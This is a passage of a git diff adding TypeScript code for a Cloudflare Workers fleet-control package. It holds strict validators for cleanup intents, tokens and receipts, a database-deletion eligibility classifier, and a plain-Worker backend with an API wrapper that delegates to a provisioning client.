+  return value as Record<string, unknown>;
+}
+
+function exactKeys(
+  value: Record<string, unknown>,
+  required: readonly string[],
+): void {
+  const keys = Object.keys(value).sort();
+  const expected = [...required].sort();
+  if (
+    keys.length !== expected.length ||
+    keys.some((key, index) => key !== expected[index])
+  ) {
+    malformed();
+  }
+}
+
+function boundedString(value: unknown): value is string {
+  return (
+    typeof value === 'string' &&
+    value.length > 0 &&
+    value.length <= STRING_BYTE_BOUND &&
+    new TextEncoder().encode(value).byteLength <= STRING_BYTE_BOUND
+  );
+}
+
+function safeIntegerAtLeast(value: unknown, minimum = 0): value is number {
+  return Number.isSafeInteger(value) && Number(value) >= minimum;
+}
+
+function sha256(value: unknown): value is string {
+  return typeof value === 'string' && SHA256.test(value);
+}
+
+function canonicalIso(value: unknown): value is string {
+  return (
+    typeof value === 'string' &&
+    Number.isFinite(Date.parse(value)) &&
+    new Date(value).toISOString() === value
+  );
+}
+
+function parseRecordIdentity(
+  value: unknown,
+  source: FleetRecord,
+): CleanupAdvanceIntent['identity']['record'] {
+  const candidate = plainRecord(value);
+  exactKeys(candidate, [
+    'tenantTag',
+    'environment',
+    'backend',
+    'scriptName',
+    'databaseId',
+    'databaseName',
+    'routeHostname',
+  ]);
+  const identity = {
+    tenantTag: candidate.tenantTag,
+    environment: candidate.environment,
+    backend: candidate.backend,
+    scriptName: candidate.scriptName,
+    databaseId: candidate.databaseId,
+    databaseName: candidate.databaseName,
+    routeHostname: candidate.routeHostname,
+  };
+  if (
+    !boundedString(identity.tenantTag) ||
+    !boundedString(identity.environment) ||
+    (identity.backend !== 'plain-worker' &&
+      identity.backend !== 'workers-for-platforms') ||
+    !boundedString(identity.scriptName) ||
+    !boundedString(identity.databaseId) ||
+    !boundedString(identity.databaseName) ||
+    !boundedString(identity.routeHostname) ||
+    identity.tenantTag !== source.tenantTag ||
+    identity.environment !== source.environment ||
+    identity.backend !== source.backend ||
+    identity.scriptName !== source.scriptName ||
+    identity.databaseId !== source.databaseId ||
+    identity.databaseName !== source.databaseName ||
+    identity.routeHostname !== source.routeHostname
+  ) {
+    return malformed();
+  }
+  return identity as CleanupAdvanceIntent['identity']['record'];
+}
+
+function parseIdentity(
+  value: unknown,
+  source: FleetRecord,
+): CleanupAdvanceIntent['identity'] {
+  const candidate = plainRecord(value);
+  exactKeys(candidate, ['record', 'admittedPhase', 'externalArtifact']);
+  const record = parseRecordIdentity(candidate.record, source);
+  if (
+    typeof candidate.admittedPhase !== 'string' ||
+    !CLEANUP_ADMITTED_PHASES.includes(
+      candidate.admittedPhase as ProvisioningPhase,
+    ) ||
+    typeof candidate.externalArtifact !== 'boolean'
+  ) {
+    return malformed();
+  }
+  return {
+    record,
+    admittedPhase: candidate.admittedPhase as ProvisioningPhase,
+    externalArtifact: candidate.externalArtifact,
+  };
+}
+
+function parseAuthority(value: unknown): CleanupAuthority {
+  const candidate = plainRecord(value);
+  if (candidate.kind === 'manual-cleanup') {
+    exactKeys(candidate, ['kind']);
+    return { kind: 'manual-cleanup' };
+  }
+  exactKeys(candidate, [
+    'kind',
+    'reservationOwned',
+    'databaseOwned',
+    'workerCreatedByAttempt',
+    'workerResourceState',
+    'requestedSpecDigest',
+  ]);
+  if (
+    candidate.kind !== 'provisioning-rollback' ||
+    typeof candidate.reservationOwned !== 'boolean' ||
+    typeof candidate.databaseOwned !== 'boolean' ||
+    typeof candidate.workerCreatedByAttempt !== 'boolean' ||
+    (candidate.workerResourceState !== 'absent' &&
+      candidate.workerResourceState !== 'present' &&
+      candidate.workerResourceState !== 'unknown') ||
+    !sha256(candidate.requestedSpecDigest)
+  ) {
+    return malformed();
+  }
+  return {
+    kind: 'provisioning-rollback',
+    reservationOwned: candidate.reservationOwned,
+    databaseOwned: candidate.databaseOwned,
+    workerCreatedByAttempt: candidate.workerCreatedByAttempt,
+    workerResourceState: candidate.workerResourceState,
+    requestedSpecDigest: candidate.requestedSpecDigest,
+  };
+}
+
+function parsePurpose(
+  value: unknown,
+  source: FleetRecord,
+  operationId: string,
+): CleanupAttachmentPurpose {
+  const candidate = plainRecord(value);
+  exactKeys(candidate, ['kind', 'databaseId', 'operationId']);
+  if (
+    candidate.kind !== 'cleanup-database-pre-delete' ||
+    !boundedString(candidate.databaseId) ||
+    candidate.databaseId !== source.databaseId ||
+    typeof candidate.operationId !== 'string' ||
+    candidate.operationId !== operationId
+  ) {
+    return malformed();
+  }
+  return {
+    kind: 'cleanup-database-pre-delete',
+    databaseId: candidate.databaseId,
+    operationId: candidate.operationId,
+  };
+}
+
+function parseAttachment(value: unknown): DecommissionBlockedAttachment {
+  const candidate = plainRecord(value);
+  if (candidate.plane === 'ordinary') {
+    exactKeys(candidate, ['plane', 'scriptName']);
+    if (!boundedString(candidate.scriptName)) return malformed();
+    return { plane: 'ordinary', scriptName: candidate.scriptName };
+  }
+  exactKeys(candidate, ['plane', 'scriptName', 'dispatchNamespace']);
+  if (
+    candidate.plane !== 'dispatch' ||
+    !boundedString(candidate.scriptName) ||
+    !boundedString(candidate.dispatchNamespace)
+  ) {
+    return malformed();
+  }
+  return {
+    plane: 'dispatch',
+    scriptName: candidate.scriptName,
+    dispatchNamespace: candidate.dispatchNamespace,
+  };
+}
+
+function parseScanEvidence(
+  value: unknown,
+): Readonly<{ evidenceSha256: string; evidenceCount: number }> {
+  const evidence = plainRecord(value);
+  exactKeys(evidence, ['evidenceSha256', 'evidenceCount']);
+  if (
+    !sha256(evidence.evidenceSha256) ||
+    !safeIntegerAtLeast(evidence.evidenceCount, 2) ||
+    evidence.evidenceCount > WORKER_ATTACHMENT_EVIDENCE_BOUND
+  ) {
+    return malformed();
+  }
+  return {
+    evidenceSha256: evidence.evidenceSha256,
+    evidenceCount: evidence.evidenceCount,
+  };
+}
+
+function parseScan(
+  value: unknown,
+  source: FleetRecord,
+  operationId: string,
+): CleanupAttachmentScan {
+  const candidate = plainRecord(value);
+  exactKeys(candidate, [
+    'purpose',
+    'pass',
+    'progress',
+    ...(candidate.pass === 'verify' ? ['discoverEvidence'] : []),
+  ]);
+  const purpose = parsePurpose(candidate.purpose, source, operationId);
+  if (candidate.pass !== 'discover' && candidate.pass !== 'verify') {
+    return malformed();
+  }
+  let progress: CleanupAttachmentProgress;
+  try {
+    progress = parseWorkerAttachmentScanProgress(candidate.progress, {
+      kind: 'd1',
+      databaseId: purpose.databaseId,
+    });
+  } catch {
+    return malformed();
+  }
+  if (candidate.pass === 'discover') {
+    return { purpose, pass: 'discover', progress };
+  }
+  return {
+    purpose,
+    pass: 'verify',
+    progress,
+    discoverEvidence: parseScanEvidence(candidate.discoverEvidence),
+  };
+}
+
+function parseState(
+  value: unknown,
+  source: FleetRecord,
+  operationId: string,
+): CleanupAdvanceState {
+  const candidate = plainRecord(value);
+  switch (candidate.step) {
+    case 'teardown-traffic':
+    case 'teardown-worker':
+    case 'teardown-platform':
+    case 'database-deletion': {
+      exactKeys(candidate, ['step']);
+      return { step: candidate.step };
+    }
+    case 'r2-deletion': {
+      exactKeys(candidate, [
+        'step',
+        'startResourceIndex',
+        ...(Object.hasOwn(candidate, 'verifiedDetachmentResourceIndex')
+          ? ['verifiedDetachmentResourceIndex']
+          : []),
+      ]);
+      if (
+        !safeIntegerAtLeast(candidate.startResourceIndex) ||
+        (Object.hasOwn(candidate, 'verifiedDetachmentResourceIndex') &&
+          !safeIntegerAtLeast(candidate.verifiedDetachmentResourceIndex))
+      ) {
+        return malformed();
+      }
+      return {
+        step: 'r2-deletion',
+        startResourceIndex: candidate.startResourceIndex,
+        ...(safeIntegerAtLeast(candidate.verifiedDetachmentResourceIndex)
+          ? {
+              verifiedDetachmentResourceIndex:
+                candidate.verifiedDetachmentResourceIndex,
+            }
+          : {}),
+      };
+    }
+    case 'attachment-scan': {
+      exactKeys(candidate, ['step', 'scan']);
+      return {
+        step: 'attachment-scan',
+        scan: parseScan(candidate.scan, source, operationId),
+      };
+    }
+    case 'blocked': {
+      exactKeys(candidate, ['step', 'purpose', 'attachment']);
+      return {
+        step: 'blocked',
+        purpose: parsePurpose(candidate.purpose, source, operationId),
+        attachment: parseAttachment(candidate.attachment),
+      };
+    }
+    default:
+      return malformed();
+  }
+}
+
+export function cleanupAdvanceIntentFromUnknown(
+  value: unknown,
+  source: FleetRecord,
+): CleanupAdvanceIntent {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: DEPTH_BOUND,
+      maxNodes: NODE_BOUND,
+      maxScalarBytes: CLEANUP_INTENT_BYTE_BOUND,
+      maxSerializedBytes: CLEANUP_INTENT_BYTE_BOUND,
+      error: () => new CleanupAdvanceIntentError(),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    return malformed();
+  }
+  const candidate = plainRecord(plain);
+  exactKeys(candidate, [
+    'version',
+    'operationId',
+    'revision',
+    'generation',
+    'updatedAt',
+    'authority',
+    'identity',
+    'state',
+  ]);
+  if (
+    candidate.version !== 1 ||
+    typeof candidate.operationId !== 'string' ||
+    !UUID_V4.test(candidate.operationId) ||
+    !safeIntegerAtLeast(candidate.revision) ||
+    !safeIntegerAtLeast(candidate.generation) ||
+    !canonicalIso(candidate.updatedAt) ||
+    source.phase !== 'cleanup-advancing'
+  ) {
+    return malformed();
+  }
+  return {
+    version: 1,
+    operationId: candidate.operationId,
+    revision: candidate.revision,
+    generation: candidate.generation,
+    updatedAt: candidate.updatedAt,
+    authority: parseAuthority(candidate.authority),
+    identity: parseIdentity(candidate.identity, source),
+    state: parseState(candidate.state, source, candidate.operationId),
+  };
+}
+
+export function normalizeCleanupAdvanceIntent(
+  value: CleanupAdvanceIntent,
+  source: FleetRecord,
+): CleanupAdvanceIntent {
+  return cleanupAdvanceIntentFromUnknown(value, source);
+}
+
+export function invocationAuthorityCarrierFromUnknown(
+  value: unknown,
+): InvocationAuthorityCarrier {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: 4,
+      maxNodes: 16,
+      maxScalarBytes: TOKEN_BYTE_BOUND,
+      maxSerializedBytes: TOKEN_BYTE_BOUND,
+      error: () => new InvocationAuthorityCarrierError(),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    throw new InvocationAuthorityCarrierError();
+  }
+  let candidate: Record<string, unknown>;
+  try {
+    candidate = plainRecord(plain);
+    exactKeys(candidate, ['version', 'authorizedAt']);
+  } catch {
+    throw new InvocationAuthorityCarrierError();
+  }
+  if (
+    candidate.version !== 1 ||
+    (candidate.authorizedAt !== null && !canonicalIso(candidate.authorizedAt))
+  ) {
+    throw new InvocationAuthorityCarrierError();
+  }
+  return {
+    version: 1,
+    authorizedAt: candidate.authorizedAt as string | null,
+  };
+}
+
+export function parseCleanupAdvanceToken(value: unknown): CleanupAdvanceToken {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: 4,
+      maxNodes: 16,
+      maxScalarBytes: TOKEN_BYTE_BOUND,
+      maxSerializedBytes: TOKEN_BYTE_BOUND,
+      error: () => new CleanupAdvanceTokenError(),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    throw new CleanupAdvanceTokenError();
+  }
+  let candidate: Record<string, unknown>;
+  try {
+    candidate = plainRecord(plain);
+    exactKeys(candidate, [
+      'version',
+      'tenantTag',
+      'environment',
+      'operationId',
+      'revision',
+    ]);
+  } catch {
+    throw new CleanupAdvanceTokenError();
+  }
+  if (
+    candidate.version !== 1 ||
+    !boundedString(candidate.tenantTag) ||
+    !boundedString(candidate.environment) ||
+    typeof candidate.operationId !== 'string' ||
+    !UUID_V4.test(candidate.operationId) ||
+    !safeIntegerAtLeast(candidate.revision)
+  ) {
+    throw new CleanupAdvanceTokenError();
+  }
+  return {
+    version: 1,
+    tenantTag: candidate.tenantTag,
+    environment: candidate.environment,
+    operationId: candidate.operationId,
+    revision: candidate.revision,
+  };
+}
+
+/**
+ * Pure token classification against the live record. Receipt-aware semantics
+ * for an absent row or a foreign operation belong to the engine, which
+ * consults `readCleanupReceipt` before adjudicating.
+ */
+export function classifyCleanupAdvanceToken(
+  value: unknown,
+  source: FleetRecord,
+): 'current' | 'stale' {
+  const token = parseCleanupAdvanceToken(value);
+  if (
+    token.tenantTag !== source.tenantTag ||
+    token.environment !== source.environment
+  ) {
+    throw new CleanupAdvanceTokenDeploymentError();
+  }
+  const intent = source.cleanupIntent;
+  if (!intent || token.operationId !== intent.operationId) {
+    throw new CleanupAdvanceTokenOperationError();
+  }
+  if (token.revision > intent.revision) {
+    throw new CleanupAdvanceTokenFutureError();
+  }
+  return token.revision === intent.revision ? 'current' : 'stale';
+}
+
+function receiptMalformed(): never {
+  throw new CleanupTerminalReceiptError();
+}
+
+function parseReceiptEvidencePair(
+  value: unknown,
+): Readonly<{ evidenceSha256: string; evidenceCount: number }> {
+  try {
+    return parseScanEvidence(value);
+  } catch {
+    return receiptMalformed();
+  }
+}
+
+export function cleanupReceiptEvidenceFromUnknown(
+  value: unknown,
+): CleanupReceiptEvidence {
+  let candidate: Record<string, unknown>;
+  try {
+    candidate = plainRecord(value);
+    exactKeys(candidate, [
+      'eligibility',
+      'ingressRemoved',
+      'workerAbsent',
+      'platformResourcesAbsent',
+      'applicationR2Settled',
+      'databaseAbsentReadback',
+      ...(Object.hasOwn(candidate, 'scan') ? ['scan'] : []),
+    ]);
+  } catch {
+    return receiptMalformed();
+  }
+  if (
+    (candidate.eligibility !== 'carrier-null' &&
+      candidate.eligibility !== 'legacy-phase-impossible' &&
+      candidate.eligibility !== 'reservation-only') ||
+    typeof candidate.ingressRemoved !== 'boolean' ||
+    typeof candidate.workerAbsent !== 'boolean' ||
+    typeof candidate.platformResourcesAbsent !== 'boolean' ||
+    typeof candidate.applicationR2Settled !== 'boolean' ||
+    typeof candidate.databaseAbsentReadback !== 'boolean'
+  ) {
+    return receiptMalformed();
+  }
+  let scan: CleanupReceiptEvidence['scan'];
+  if (Object.hasOwn(candidate, 'scan')) {
+    let scanCandidate: Record<string, unknown>;
+    try {
+      scanCandidate = plainRecord(candidate.scan);
+      exactKeys(scanCandidate, ['discover', 'verify']);
+    } catch {
+      return receiptMalformed();
+    }
+    scan = {
+      discover: parseReceiptEvidencePair(scanCandidate.discover),
+      verify: parseReceiptEvidencePair(scanCandidate.verify),
+    };
+  }
+  return {
+    eligibility: candidate.eligibility,
+    ingressRemoved: candidate.ingressRemoved,
+    workerAbsent: candidate.workerAbsent,
+    platformResourcesAbsent: candidate.platformResourcesAbsent,
+    applicationR2Settled: candidate.applicationR2Settled,
+    databaseAbsentReadback: candidate.databaseAbsentReadback,
+    ...(scan ? { scan } : {}),
+  };
+}
+
+export function cleanupTerminalReceiptFromUnknown(
+  value: unknown,
+): CleanupTerminalReceipt {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: DEPTH_BOUND,
+      maxNodes: NODE_BOUND,
+      maxScalarBytes: CLEANUP_INTENT_BYTE_BOUND,
+      maxSerializedBytes: CLEANUP_INTENT_BYTE_BOUND,
+      error: () => new CleanupTerminalReceiptError(),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    return receiptMalformed();
+  }
+  let candidate: Record<string, unknown>;
+  try {
+    candidate = plainRecord(plain);
+    exactKeys(candidate, [
+      'version',
+      'operationId',
+      'tenantTag',
+      'environment',
+      'backend',
+      'scriptName',
+      'databaseId',
+      'databaseName',
+      'authority',
+      'admittedPhase',
+      'disposition',
+      'evidence',
+      ...(Object.hasOwn(candidate, 'completedAtMs') ? ['completedAtMs'] : []),
+    ]);
+  } catch {
+    return receiptMalformed();
+  }
+  if (
+    candidate.version !== 1 ||
+    typeof candidate.operationId !== 'string' ||
+    !UUID_V4.test(candidate.operationId) ||
+    !boundedString(candidate.tenantTag) ||
+    !boundedString(candidate.environment) ||
+    (candidate.backend !== 'plain-worker' &&
+      candidate.backend !== 'workers-for-platforms') ||
+    !boundedString(candidate.scriptName) ||
+    !boundedString(candidate.databaseId) ||
+    !boundedString(candidate.databaseName) ||
+    (candidate.authority !== 'manual-cleanup' &&
+      candidate.authority !== 'provisioning-rollback') ||
+    typeof candidate.admittedPhase !== 'string' ||
+    !CLEANUP_ADMITTED_PHASES.includes(
+      candidate.admittedPhase as ProvisioningPhase,
+    ) ||
+    (candidate.disposition !== 'prepublication-owned-no-export' &&
+      candidate.disposition !== 'reservation-cleared') ||
+    (Object.hasOwn(candidate, 'completedAtMs') &&
+      !safeIntegerAtLeast(candidate.completedAtMs))
+  ) {
+    return receiptMalformed();
+  }
+  return {
+    version: 1,
+    operationId: candidate.operationId,
+    tenantTag: candidate.tenantTag,
+    environment: candidate.environment,
+    backend: candidate.backend as ProvisioningBackendKind,
+    scriptName: candidate.scriptName,
+    databaseId: candidate.databaseId,
+    databaseName: candidate.databaseName,
+    authority: candidate.authority,
+    admittedPhase: candidate.admittedPhase as ProvisioningPhase,
+    disposition: candidate.disposition,
+    evidence: cleanupReceiptEvidenceFromUnknown(candidate.evidence),
+    ...(safeIntegerAtLeast(candidate.completedAtMs)
+      ? { completedAtMs: candidate.completedAtMs }
+      : {}),
+  };
+}
+
+function canonicalSortedKeyValue(value: unknown): unknown {
+  if (Array.isArray(value)) return value.map(canonicalSortedKeyValue);
+  if (!value || typeof value !== 'object') return value;
+  return Object.fromEntries(
+    Object.keys(value as Record<string, unknown>)
+      .sort((left, right) => (left < right ? -1 : left > right ? 1 : 0))
+      .map((key) => [
+        key,
+        canonicalSortedKeyValue((value as Record<string, unknown>)[key]),
+      ]),
+  );
+}
+
+/**
+ * @internal Canonical sorted-key serialization of receipt evidence, used both
+ * when building the receipt insert and in the state-store convergence
+ * comparison so evidence byte comparison never depends on object-literal key
+ * order.
+ */
+export function canonicalCleanupEvidenceBytes(
+  evidence: CleanupReceiptEvidence,
+): string {
+  return JSON.stringify(canonicalSortedKeyValue(evidence));
+}
+
+/**
+ * Option A eligibility classifier for no-export database deletion. Pure: it
+ * decides ELIGIBILITY only and has no provider-database input; the terminal
+ * receipt disposition is decided inside the database-deletion group by the
+ * `findDatabase`/reconcile outcome.
+ */
+export function classifyCleanupDatabaseEligibility(
+  input: Readonly<{
+    record: FleetRecord;
+    /** backend.immutableExternalArtifacts === true, captured at admission and persisted in the intent. */
+    externalArtifact: boolean;
+  }>,
+):
+  | Readonly<{
+      eligible: true;
+      eligibility:
+        | 'carrier-null'
+        | 'legacy-phase-impossible'
+        | 'reservation-only';
+    }>
+  | Readonly<{
+      eligible: false;
+      reason:
+        | 'invocation-authorized'
+        | 'legacy-phase-ambiguous'
+        | 'carrier-phase-inconsistent'
+        | 'malformed-carrier'
+        | 'phase-requires-decommission'
+        | 'untrusted-data-binding'
+        | 'external-staging-evidence';
+    }> {
+  const { record } = input;
+  if (!CLEANUP_ADMITTED_PHASES.includes(record.phase)) {
+    return { eligible: false, reason: 'phase-requires-decommission' };
+  }
+  if (
+    record.backend === 'workers-for-platforms' ||
+    input.externalArtifact === true
+  ) {
+    return { eligible: false, reason: 'untrusted-data-binding' };
+  }
+  if (
+    record.activeRelease !== undefined ||
+    record.pendingRelease !== undefined ||
+    record.migrationPriorRelease !== undefined ||
+    record.rollbackRelease !== undefined ||
+    record.retiringRelease !== undefined ||
+    record.platformTarget !== undefined ||
+    record.migrationIntent !== undefined ||
+    // The spec scopes the pending-digest evidence to prepublication phases;
+    // every admitted phase is prepublication, so no phase qualifier is needed.
+    record.pendingArtifactVersion !== undefined ||
+    record.pendingSpecDigest !== undefined
+  ) {
+    return { eligible: false, reason: 'external-staging-evidence' };
+  }
+  const reservation = RESERVATION_PHASES.includes(record.phase);
+  if (Object.hasOwn(record, 'invocationAuthority')) {
+    let carrier: InvocationAuthorityCarrier;
+    try {
+      carrier = invocationAuthorityCarrierFromUnknown(
+        record.invocationAuthority,
+      );
+    } catch {
+      return { eligible: false, reason: 'malformed-carrier' };
+    }
+    if (typeof carrier.authorizedAt === 'string') {
+      return { eligible: false, reason: 'invocation-authorized' };
+    }
+    if (record.phase === 'maintenance-armed') {
+      return { eligible: false, reason: 'carrier-phase-inconsistent' };
+    }
+    return reservation
+      ? { eligible: true, eligibility: 'reservation-only' }
+      : { eligible: true, eligibility: 'carrier-null' };
+  }
+  if (reservation) {
+    return { eligible: true, eligibility: 'reservation-only' };
+  }
+  if (LEGACY_IMPOSSIBLE_PHASES.includes(record.phase)) {
+    return { eligible: true, eligibility: 'legacy-phase-impossible' };
+  }
+  return { eligible: false, reason: 'legacy-phase-ambiguous' };
+}
diff --git a/packages/fleet-control/src/cloudflare-api-plain-worker-backend.ts b/packages/fleet-control/src/cloudflare-api-plain-worker-backend.ts
new file mode 100644
index 00000000..96ca223f
--- /dev/null
+++ b/packages/fleet-control/src/cloudflare-api-plain-worker-backend.ts
@@ -0,0 +1,58 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { CloudflareApiPlainWorkerProvisioningApi } from './cloudflare-api-plain-worker-provisioning-api.js';
+import { CloudflareProvisioningClient } from './cloudflare-client.js';
+import { PlainWorkerBackend } from './plain-worker-backend.js';
+
+/** Options for the direct Cloudflare API ordinary-Worker backend. */
+export interface CloudflareApiPlainWorkerBackendOptions {
+  /**
+   * Plain-Worker Cloudflare client. Database teardown also requires the client
+   * to have been constructed with a durable database export store.
+   */
+  readonly client: CloudflareProvisioningClient;
+  readonly fetch?: typeof fetch;
+  readonly maintenanceRequestTimeoutMs?: number;
+  readonly maintenanceRouteReadyTimeoutMs?: number;
+  readonly maintenanceRouteReadyIntervalMs?: number;
+  /** Stamps `observedAt` on an attestation. Injected so it can be pinned. */
+  readonly clock?: () => number;
+  /** Delays reconciled mutation retries. Defaults to a `setTimeout` promise. */
+  readonly wait?: (ms: number) => Promise<void>;
+}
+
+/**
+ * Ordinary-Worker backend that uses Cloudflare APIs without invoking Wrangler.
+ *
+ * It preserves the reconciliation, ingress, maintenance, promotion, and
+ * teardown policy documented by {@link PlainWorkerBackend}. Construct the
+ * client with `plane: 'plain-worker'`; a dispatch namespace is neither needed
+ * nor accepted. D1 deletion remains fail closed when the account cannot
+ * enumerate Workers for Platforms namespaces during attachment scans.
+ *
+ * A failed upload reconciled by tag rediscovery is accepted only when the
+ * Worker footprint attests the intended workers.dev and preview-URL state.
+ * Cloudflare error `10220` can also prevent a deployment when secrets changed
+ * since the uploaded version.
+ */
+export class CloudflareApiPlainWorkerBackend extends PlainWorkerBackend {
+  constructor(options: CloudflareApiPlainWorkerBackendOptions) {
+    if (!(options.client instanceof CloudflareProvisioningClient)) {
+      throw new TypeError(
+        'client must be a CloudflareProvisioningClient instance',
+      );
+    }
+    super({
+      api: new CloudflareApiPlainWorkerProvisioningApi({
+        client: options.client,
+      }),
+      identityCaller: 'CloudflareApiPlainWorkerBackend.seedDeploymentIdentity',
+      fetch: options.fetch,
+      maintenanceRequestTimeoutMs: options.maintenanceRequestTimeoutMs,
+      maintenanceRouteReadyTimeoutMs: options.maintenanceRouteReadyTimeoutMs,
+      maintenanceRouteReadyIntervalMs: options.maintenanceRouteReadyIntervalMs,
+      clock: options.clock,
+      wait: options.wait,
+    });
+  }
+}
diff --git a/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts b/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts
new file mode 100644
index 00000000..f2f57ce7
--- /dev/null
+++ b/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts
@@ -0,0 +1,333 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  CloudflareProviderRequestNotDispatchedError,
+  type CloudflareProvisioningClient,
+  withProviderDispatchTracking,
+} from './cloudflare-client.js';
+import {
+  captureDatabaseExportReceiptCapability,
+  databaseExportReceiptIdentityFromUnknown,
+} from './database-export-store.js';
+import type {
+  DatabaseExportReceiptIdentity,
+  DatabaseReference,
+  ExternalMutationFence,
+  OrdinaryWorkerDeploymentVersion,
+  PlainWorkerDatabaseExportResult,
+  PlainWorkerDatabaseInventoryEntry,
+  PlainWorkerDeploymentStatus,
+  PlainWorkerMutationOutcome,
+  PlainWorkerProvisioningApi,
+  PlainWorkerUploadIntent,
+  PlainWorkerUploadOutcome,
+  PlainWorkerVersionDetail,
+  PlainWorkerVersionSummary,
+} from './types.js';
+
+export class CloudflareApiPlainWorkerProvisioningApi
+  implements PlainWorkerProvisioningApi
+{
+  /** Canonical immutable receipt authority, present only with receipt export. */
+  declare readonly databaseExportReceiptAuthority?: string;
+  /** Forwards an exact operation receipt under the supplied mutation fence. */
+  declare readonly exportDatabaseReceipt?: (
+    identity: DatabaseExportReceiptIdentity,
+    fence: ExternalMutationFence,
+  ) => Promise<PlainWorkerDatabaseExportResult>;
+  readonly #client: CloudflareProvisioningClient;
+  readonly maxMutationDurationMs: number;
+  readonly supportsExactDatabaseDeletion = true;
+  readonly advanceDecommissionAttachmentScan: NonNullable<
+    PlainWorkerProvisioningApi['advanceDecommissionAttachmentScan']
+  >;
+  readonly listWorkerR2Attachments: NonNullable<
+    PlainWorkerProvisioningApi['listWorkerR2Attachments']
+  >;
+  readonly getR2Bucket: NonNullable<PlainWorkerProvisioningApi['getR2Bucket']>;
+  readonly createR2Bucket: NonNullable<
+    PlainWorkerProvisioningApi['createR2Bucket']
+  >;
+  readonly assertR2BucketEmpty: NonNullable<
+    PlainWorkerProvisioningApi['assertR2BucketEmpty']
+  >;
+  readonly deleteR2Bucket: NonNullable<
+    PlainWorkerProvisioningApi['deleteR2Bucket']
+  >;
+
+  constructor(options: { readonly client: CloudflareProvisioningClient }) {
+    const client = options.client;
+    this.#client = client;
+    const receiptCapability = captureDatabaseExportReceiptCapability(
+      client,
+      () => [
+        client.databaseExportReceiptAuthority,
+        client.exportDatabaseReceipt,
+      ],
+    );
+    if (receiptCapability) {
+      const exportDatabaseReceipt = receiptCapability.method as NonNullable<
+        CloudflareProvisioningClient['exportDatabaseReceipt']
+      >;
+      this.databaseExportReceiptAuthority = receiptCapability.authority;
+      this.exportDatabaseReceipt = async (identity, fence) => {
+        const canonical = databaseExportReceiptIdentityFromUnknown(
+          identity,
+          receiptCapability.authority,
+        );
+        await fence.assertOwned();
+        const exported = await this.#client.withMutationFence(fence, () =>
+          exportDatabaseReceipt(canonical),
+        );
+        return {
+          location: exported.location,
+          size: exported.size,
+          sha256: exported.sha256,
+        };
+      };
+    }
+    this.maxMutationDurationMs = client.requestTimeoutMs;
+    this.advanceDecommissionAttachmentScan =
+      client.advanceDecommissionAttachmentScan.bind(client);
+    this.listWorkerR2Attachments = client.listWorkerR2Attachments.bind(client);
+    this.getR2Bucket = client.getR2Bucket.bind(client);
+    this.createR2Bucket = client.createR2Bucket.bind(client);
+    this.assertR2BucketEmpty = client.assertR2BucketEmpty.bind(client);
+    this.deleteR2Bucket = client.deleteR2Bucket.bind(client);
+  }
+
+  withMutationFence<T>(
+    fence: ExternalMutationFence,
+    operation: () => Promise<T>,
+  ): Promise<T> {
+    return this.#client.withMutationFence(fence, operation);
+  }
+
+  queryDatabase(
+    databaseId: string,
+    sql: string,
+    bindings?: readonly string[],
+  ): Promise<readonly Readonly<Record<string, unknown>>[]> {
+    return this.#client.queryDatabase(databaseId, sql, bindings);
+  }
+
+  batchDatabase(
+    databaseId: string,
+    statements: readonly {
+      readonly sql: string;
+      readonly bindings?: readonly string[];
+    }[],
+  ): Promise<void> {
+    return this.#client.batchDatabase(databaseId, statements);
+  }
+
+  listWorkerDatabaseAttachments(
+    databaseId: string,
+  ): ReturnType<PlainWorkerProvisioningApi['listWorkerDatabaseAttachments']> {
+    return this.#client.listWorkerDatabaseAttachments(databaseId);
+  }
+
+  inspectActiveWorkerRoute(
+    scriptName: string,
+  ): ReturnType<PlainWorkerProvisioningApi['inspectActiveWorkerRoute']> {
+    return this.#client.inspectActiveWorkerRoute(scriptName);
+  }
+
+  listCustomDomains(): ReturnType<
+    PlainWorkerProvisioningApi['listCustomDomains']
+  > {
+    return this.#client.listCustomDomains();
+  }
+
+  inspectOrdinaryWorkerFootprint(
+    scriptName: string,
+  ): ReturnType<PlainWorkerProvisioningApi['inspectOrdinaryWorkerFootprint']> {
+    return this.#client.inspectOrdinaryWorkerFootprint(scriptName);
+  }
+
+  listDurableObjectNamespaces(
+    scriptName: string,
+  ): ReturnType<PlainWorkerProvisioningApi['listDurableObjectNamespaces']> {
+    return this.#client.listDurableObjectNamespaces(scriptName);
+  }
+
+  listOrdinaryWorkerSecretNames(
+    scriptName: string,
+  ): ReturnType<PlainWorkerProvisioningApi['listOrdinaryWorkerSecretNames']> {
+    return this.#client.listOrdinaryWorkerSecretNames(scriptName);
+  }
+
+  deleteControlSecrets(
+    scriptName: string,
+    secretNames: readonly string[],
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    return this.#client.deleteControlSecrets(scriptName, secretNames, fence);
+  }
+
+  attachCustomDomain(
+    target: { readonly hostname: string; readonly service: string },
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    return this.#client.attachCustomDomain(target, fence);
+  }
+
+  detachCustomDomain(
+    domainId: string,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    return this.#client.detachCustomDomain(domainId, fence);
+  }
+
+  disableOrdinaryWorkerPublicAccess(
+    scriptName: string,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    return this.#client.disableOrdinaryWorkerPublicAccess(scriptName, fence);
+  }
+
+  listDatabases(
+    filter?: Readonly<{ name?: string }>,
+  ): Promise<readonly PlainWorkerDatabaseInventoryEntry[]> {
+    return this.#client.listOrdinaryWorkerDatabases(filter);
+  }
+
+  getDatabase(databaseId: string): Promise<DatabaseReference | undefined> {
